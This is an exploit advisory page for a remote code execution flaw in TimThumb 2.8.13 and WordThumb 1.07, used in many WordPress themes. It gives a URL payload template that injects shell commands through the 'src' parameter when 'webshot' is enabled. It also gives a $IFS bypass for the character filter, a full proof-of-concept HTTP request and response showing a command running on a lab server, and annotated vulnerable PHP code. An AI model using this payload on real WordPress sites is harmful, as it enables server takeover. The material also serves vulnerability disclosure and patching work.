TimThumb 2.8.13 Remote Code Execution

2014-06-25 / 2014-07-24
Credit: u0x
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

###################################################################### # _ ___ _ _ ____ ____ _ _____ # | | / _ \| \ | |/ ___|/ ___| / \|_ _| # | | | | | | \| | | _| | / _ \ | | # | |__| |_| | |\ | |_| | |___ / ___ \| | # |_____\___/|_| \_|\____|\____/_/ \_\_| # # Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day) # Affected website : a lot Wordpress Themes, Plugins, 3rd party components # Exploit Author : @u0x (Pichaya Morimoto) # Release dates : June 24, 2014 # # Special Thanks to 2600 Thailand group # : Xelenonz, anidear, windows98se, icheernoom, w4x0r, pistachio # https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/ # ######################################################################## [+] Description ============================================================ TimThumb is a small php script for cropping, zooming and resizing web images (jpg, png, gif). Perfect for use on blogs and other applications. Developed for use in the WordPress theme Mimbo Pro, and since used in many other WordPress themes. http://www.binarymoon.co.uk/projects/timthumb/ https://code.google.com/p/timthumb/ The original project WordThumb 1.07 also vulnerable ( https://code.google.com/p/wordthumb/) They both shared exactly the same WebShot code! And there are several projects that shipped with "timthumb.php", such as,@u0x (Pichaya Morimoto) Wordpress Gallery Plugin https://wordpress.org/plugins/wordpress-gallery-plugin/ IGIT Posts Slider Widget http://wordpress.org/plugins/igit-posts-slider-widget/ All themes from http://themify.me/ contains vulnerable "wordthumb" in "<theme-name>/themify/img.php". [+] Exploit ============================================================ http:// <wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http:// <wp-website>$(<os-cmds>) ** Note that OS commands payload MUST be within following character sets: [A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=] ** Spaces, Pipe, GT sign are not allowed. ** This WebShot feature is DISABLED by default. ** CutyCapt and XVFB must be installed in constants. [+] Proof-of-Concept ============================================================ There are couple techniques that can be used to bypass limited charsets but I will use a shell variable $IFS insteads of space in this scenario. PoC Environment: Ubuntu 14.04 LTS PHP 5.5.9 Wordpress 3.9.1 Themify Parallax Theme 1.5.2 WordThumb 1.07 Crafted Exploit: http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat) GET /wp-content/themes/parallax/themify/img.php?webshot=1&src= http://longcatlab.local/$(touch$IFS/tmp/longcat) HTTP/1.1 Host: longcatlab.local Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Cookie: woocommerce_recently_viewed=9%7C12%7C16; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce; wp-settings-time-1=1403504538; themify-builder-tabs=query-portfoliot; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_26775808be2a17b15cf43dfee3a681c9=moderator%7C1403747599%7C62244ce3918e23df1bd22450b3d78685 HTTP/1.1 400 Bad Request Date: Tue, 24 Jun 2014 07:20:48 GMT Server: Apache X-Powered-By: PHP/5.5.9-1ubuntu4 X-Content-Type-Options: nosniff X-Frame-Options: sameorigin Content-Length: 3059 Connection: close Content-Type: text/html &#166; <a href='http://www.php.net/function.getimagesize' target='_new'>getimagesize</a> ( )</td><td title='/var/www/longcatlab.local/public_html/wp-content/themes/parallax/themify/img.php' bgcolor='#eeeeec'>../img.php<b>:</b>388</td></tr> </table></font> <h1>A WordThumb error has occured</h1>The following error(s) occured:<br /><ul><li>The image being resized is not a valid gif, jpg or png.</li></ul><br /><br />Query String : webshot=1&amp;src= http://longcatlab.local/$(touch$IFS/tmp/longcat)<br />WordThumb version : 1.07</pre> Even it response with error messages but injected OS command has already been executed. $ ls /tmp/longcat -lha - -rw-r--r-- 1 www-data www-data 0 &#224;&#161;&#224;.&#224;&#162;. 24 14:20 /tmp/longcat [+] Vulnerability Analysis ============================================================ https://timthumb.googlecode.com/svn/trunk/timthumb.php Filename: timthumb.php if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED', true); if(! defined('WEBSHOT_CUTYCAPT') ) define ('WEBSHOT_CUTYCAPT', '/usr/local/bin/CutyCapt'); if(! defined('WEBSHOT_XVFB') ) define ('WEBSHOT_XVFB', '/usr/bin/xvfb-run'); ... timthumb::start(); ← start script ... public static function start(){ $tim = new timthumb(); ← create timthumb object, call __construct() ... $tim->run(); ... public function __construct(){ ... $this->src = $this->param('src'); ← set "src" variable to HTTP GET "src" parameter &#166; if(preg_match('/^https?:\/\/[^\/]+/i', $this->src)){ ... $this->isURL = true; ← prefix http/s result in isURL = true } ... protected function param($property, $default = ''){ if (isset ($_GET[$property])) { return $_GET[$property]; ... public function run(){ if($this->isURL){ ... if($this->param('webshot')){ ← HTTP GET "webshot" must submitted if(WEBSHOT_ENABLED){ ← this pre-defined constant must be true ... $this->serveWebshot(); ← call webshot feature } else { ... protected function serveWebshot(){ ... if(! is_file(WEBSHOT_CUTYCAPT)){ ← check existing of cutycapt return $this->error("CutyCapt is not installed. $instr"); } if(! is_file(WEBSHOT_XVFB)){ ← check existing of xvfb return $this->Error("Xvfb is not installed. $instr"); } ... $url = $this->src; if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){ ← check valid URL #LoL return $this->error("Invalid URL supplied."); } $url = preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]+/', '', $url); ← check valid URL as specified in RFC 3986 http://www.ietf.org/rfc/rfc3986.txt ... if(WEBSHOT_XVFB_RUNNING){ putenv('DISPLAY=:100.0'); $command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile"; ← OS shell command injection } else { $command = "$xv --server-args=\"-screen 0, {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile"; ← OS shell command injection } ... $out = `$command`; ← execute $command as shell command "PHP supports one execution operator: backticks (``). Note that these are not single-quotes! PHP will attempt to execute the contents of the backticks as a shell command." - http://www.php.net//manual/en/language.operators.execution.php "$url" is failed to escape "$()" in "$command" which is result in arbitrary code execution.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top